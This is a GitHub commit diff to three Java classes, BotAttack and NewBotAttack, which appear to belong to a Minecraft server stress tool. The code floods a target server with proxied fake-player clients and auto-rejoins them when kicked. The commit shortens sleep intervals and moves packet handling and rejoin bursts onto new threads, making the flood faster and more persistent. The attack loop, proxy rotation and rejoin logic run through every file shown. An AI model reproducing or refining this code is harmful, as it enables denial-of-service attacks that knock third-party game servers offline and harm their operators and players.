逻辑错误修正 部分代码异步化

This commit is contained in:
SerendipityR 2022-08-23 01:28:15 +08:00 committed by GitHub
parent 8f796e4911
commit a5245d315d
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
3 changed files with 127 additions and 78 deletions

View File

@ -95,7 +95,8 @@ public class BotAttack extends IAttack {
}
}
}
OtherUtils.doSleep(5 * 1000);
OtherUtils.doSleep(1000);
}
});
@ -104,18 +105,20 @@ public class BotAttack extends IAttack {
mainThread = new Thread(() -> {
while (true) {
try {
cleanClients();
createClients(ip, port);
OtherUtils.doSleep(10 * 1000);
if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) {
for (Client c : clients) {
c.getSession().disconnect("");
}
stop();
return;
}
OtherUtils.doSleep(5 * 1000);
LogUtil.doLog(0, "当前连接数: " + clients.size() + "", "BotAttack");
cleanClients();
} catch (Exception e) {
LogUtil.doLog(1, "发生错误: " + e, null);
}
@ -157,7 +160,17 @@ public class BotAttack extends IAttack {
}
private void cleanClients() {
clients.removeIf(c -> !c.getSession().isConnected());
for (Client client:clients) {
String username = clientName.get(client);
if (!client.getSession().isConnected()) {
alivePlayers.remove(username);
clientName.remove(client);
clients.remove(client);
} else if (!alivePlayers.contains(username)) {
alivePlayers.add(username);
}
}
}
private void createClients(final String ip, int port) {
@ -181,8 +194,8 @@ public class BotAttack extends IAttack {
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
String[] User = AttackManager.getRandomUser().split("@");
Client client = createClient(ip, port, User[0], proxy);
client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectDelay));
client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectDelay));
client.getSession().setReadTimeout(5 * 1000);
client.getSession().setWriteTimeout(5 * 1000);
clientName.put(client, User[0]);
clients.add(client);
ProxyUtil.clientsProxy.put(client.getSession(), proxy);
@ -228,8 +241,6 @@ public class BotAttack extends IAttack {
}
ProxyInfo proxyInfo = new ProxyInfo(proxyType, new InetSocketAddress(proxyAddress[0], Integer.parseInt(proxyAddress[1])));
client = new Client(ip, port, new MinecraftProtocol(username), new VersionSupport578().createTcpSessionFactory(proxyInfo));
} else {
client = new Client(ip, port, new MinecraftProtocol(username), new TcpSessionFactory(proxy));
@ -239,11 +250,13 @@ public class BotAttack extends IAttack {
client.getSession().addListener(new SessionListener() {
public void packetReceived(PacketReceivedEvent e) {
handlePacket(e.getSession(), e.getPacket(), username);
new Thread(() -> handlePacket(e.getSession(), e.getPacket(), username)).start();
}
public void packetReceived(Session session, Packet packet) {
handlePacket(session, packet, username);
new Thread(() -> {
handlePacket(session, packet, username);
}).start();
}
public void packetSending(PacketSendingEvent packetSendingEvent) {
@ -281,23 +294,25 @@ public class BotAttack extends IAttack {
for (String rejoinDetect:ConfigUtil.RejoinDetect) {
if (msg.contains(rejoinDetect)) {
for (int i = 0; i < ConfigUtil.RejoinCount; i++) {
Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy);
rejoinClient.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
rejoinClient.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
new Thread(() -> {
for (int i = 0; i < ConfigUtil.RejoinCount; i++) {
Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy);
rejoinClient.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
rejoinClient.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
rejoin++;
LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack");
clientName.put(rejoinClient, username);
clients.add(rejoinClient);
rejoinClient.getSession().connect(false);
rejoin++;
LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack");
clientName.put(rejoinClient, username);
clients.add(rejoinClient);
rejoinClient.getSession().connect(false);
OtherUtils.doSleep(ConfigUtil.RejoinDelay);
OtherUtils.doSleep(ConfigUtil.RejoinDelay);
if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) {
break;
if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) {
break;
}
}
}
}).start();
}
}
} else if (ConfigUtil.ShowFails) {

View File

@ -116,7 +116,8 @@ public class NewBotAttack extends IAttack {
}
}
}
OtherUtils.doSleep(5 * 1000);
OtherUtils.doSleep(1000);
}
});
@ -125,9 +126,7 @@ public class NewBotAttack extends IAttack {
mainThread = new Thread(() -> {
while (true) {
try {
cleanClients();
createClients(ip, port);
OtherUtils.doSleep(10 * 1000);
if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) {
for (Session c : clients) {
@ -136,7 +135,10 @@ public class NewBotAttack extends IAttack {
stop();
return;
}
OtherUtils.doSleep(5 * 1000);
LogUtil.doLog(0, "当前连接数: " + clients.size() + "", "BotAttack");
cleanClients();
} catch (Exception e) {
LogUtil.doLog(1, "发生错误: " + e, null);
}
@ -182,7 +184,17 @@ public class NewBotAttack extends IAttack {
}
private void cleanClients() {
clients.removeIf(c -> !c.isConnected());
for (Session client:clients) {
String username = clientName.get(client);
if (!client.isConnected()) {
alivePlayers.remove(username);
clientName.remove(client);
clients.remove(client);
} else if (!alivePlayers.contains(username)) {
alivePlayers.add(username);
}
}
}
private void createClients(final String ip, int port) {
@ -206,8 +218,8 @@ public class NewBotAttack extends IAttack {
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
String[] User = AttackManager.getRandomUser().split("@");
Session client = createClient(ip, port, User[0], proxy);
client.setReadTimeout(Math.toIntExact(ConfigUtil.ConnectDelay));
client.setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectDelay));
client.setReadTimeout(5 * 1000);
client.setWriteTimeout(5 * 1000);
clientName.put(client, User[0]);
clients.add(client);
ProxyUtil.clientsProxy.put(client, proxy);
@ -221,10 +233,13 @@ public class NewBotAttack extends IAttack {
client.connect(false);
}
if (this.attack_maxconnect > 0 && (clients.size() > this.attack_maxconnect))
if (this.attack_maxconnect > 0 && (clients.size() > this.attack_maxconnect)) {
return;
if (this.attack_joinsleep > 0)
}
if (this.attack_joinsleep > 0) {
OtherUtils.doSleep(attack_joinsleep);
}
} catch (Exception e) {
LogUtil.doLog(1, "发生错误: " + e, null);
}
@ -258,19 +273,23 @@ public class NewBotAttack extends IAttack {
client.addListener(new SessionListener() {
public void packetReceived(PacketReceivedEvent e) {
if (ProtocolLibs.adaptAfter758) {
newHandlePacket(e.getSession(), e.getPacket(), username);
} else {
handlePacket(e.getSession(), e.getPacket(), username);
}
new Thread(() -> {
if (ProtocolLibs.adaptAfter758) {
newHandlePacket(e.getSession(), e.getPacket(), username);
} else {
handlePacket(e.getSession(), e.getPacket(), username);
}
}).start();
}
public void packetReceived(Session session, Packet packet) {
if (ProtocolLibs.adaptAfter758) {
newHandlePacket(session, packet, username);
} else {
handlePacket(session, packet, username);
}
new Thread(() -> {
if (ProtocolLibs.adaptAfter758) {
newHandlePacket(session, packet, username);
} else {
handlePacket(session, packet, username);
}
}).start();
}
public void packetSending(PacketSendingEvent packetSendingEvent) {
@ -314,23 +333,25 @@ public class NewBotAttack extends IAttack {
for (String rejoinDetect:ConfigUtil.RejoinDetect) {
if (msg.contains(rejoinDetect)) {
for (int i = 0; i < ConfigUtil.RejoinCount; i++) {
Session rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy);
rejoinClient.setReadTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
rejoinClient.setWriteTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
new Thread(() -> {
for (int i = 0; i < ConfigUtil.RejoinCount; i++) {
Session rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy);
rejoinClient.setReadTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
rejoinClient.setWriteTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
rejoin++;
LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack");
clientName.put(rejoinClient, username);
clients.add(rejoinClient);
rejoinClient.connect(false);
rejoin++;
LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack");
clientName.put(rejoinClient, username);
clients.add(rejoinClient);
rejoinClient.connect(false);
OtherUtils.doSleep(ConfigUtil.RejoinDelay);
OtherUtils.doSleep(ConfigUtil.RejoinDelay);
if (rejoinClient.hasFlag("join") || rejoinClient.hasFlag("login")) {
break;
if (rejoinClient.hasFlag("join") || rejoinClient.hasFlag("login")) {
break;
}
}
}
}).start();
}
}
} else if (ConfigUtil.ShowFails) {

View File

@ -106,7 +106,8 @@ public class BotAttack extends IAttack {
}
}
}
OtherUtils.doSleep(5 * 1000);
OtherUtils.doSleep(1000);
}
});
@ -115,18 +116,20 @@ public class BotAttack extends IAttack {
mainThread = new Thread(() -> {
while (true) {
try {
cleanClients();
createClients(ip, port);
OtherUtils.doSleep(10 * 1000);
if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) {
for (Client c : clients) {
c.getSession().disconnect("");
}
stop();
return;
}
OtherUtils.doSleep(5 * 1000);
LogUtil.doLog(0, "当前连接数: " + clients.size() + "", "BotAttack");
cleanClients();
} catch (Exception e) {
LogUtil.doLog(1, "发生错误: " + e, null);
}
@ -168,7 +171,17 @@ public class BotAttack extends IAttack {
}
private void cleanClients() {
clients.removeIf(c -> !c.getSession().isConnected());
for (Client client:clients) {
String username = clientName.get(client);
if (!client.getSession().isConnected()) {
alivePlayers.remove(username);
clientName.remove(client);
clients.remove(client);
} else if (!alivePlayers.contains(username)) {
alivePlayers.add(username);
}
}
}
private void createClients(final String ip, int port) {
@ -192,8 +205,8 @@ public class BotAttack extends IAttack {
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
String[] User = AttackManager.getRandomUser().split("@");
Client client = createClient(ip, port, User[0], proxy);
client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectDelay));
client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectDelay));
client.getSession().setReadTimeout(5 * 1000);
client.getSession().setWriteTimeout(5 * 1000);
clientName.put(client, User[0]);
clients.add(client);
ProxyUtil.clientsProxy.put(client.getSession(), proxy);
@ -223,7 +236,9 @@ public class BotAttack extends IAttack {
client.getSession().addListener(new SessionListener() {
public void packetReceived(PacketReceivedEvent e) {
handlePacket(e.getSession(), e.getPacket(), username);
new Thread(() -> {
handlePacket(e.getSession(), e.getPacket(), username);
}).start();
}
public void packetSent(PacketSentEvent e) {
@ -248,23 +263,25 @@ public class BotAttack extends IAttack {
for (String rejoinDetect:ConfigUtil.RejoinDetect) {
if (msg.contains(rejoinDetect)) {
for (int i = 0; i < ConfigUtil.RejoinCount; i++) {
Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy);
rejoinClient.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
rejoinClient.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
new Thread(() -> {
for (int i = 0; i < ConfigUtil.RejoinCount; i++) {
Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy);
rejoinClient.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
rejoinClient.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
rejoin++;
LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack");
clientName.put(rejoinClient, username);
clients.add(rejoinClient);
rejoinClient.getSession().connect(false);
rejoin++;
LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack");
clientName.put(rejoinClient, username);
clients.add(rejoinClient);
rejoinClient.getSession().connect(false);
OtherUtils.doSleep(ConfigUtil.RejoinDelay);
OtherUtils.doSleep(ConfigUtil.RejoinDelay);
if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) {
break;
if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) {
break;
}
}
}
}).start();
}
}
} else if (ConfigUtil.ShowFails) {
@ -273,10 +290,6 @@ public class BotAttack extends IAttack {
}
failed++;
alivePlayers.remove(username);
client.getSession().disconnect("");
clients.remove(client);
}
});
return client;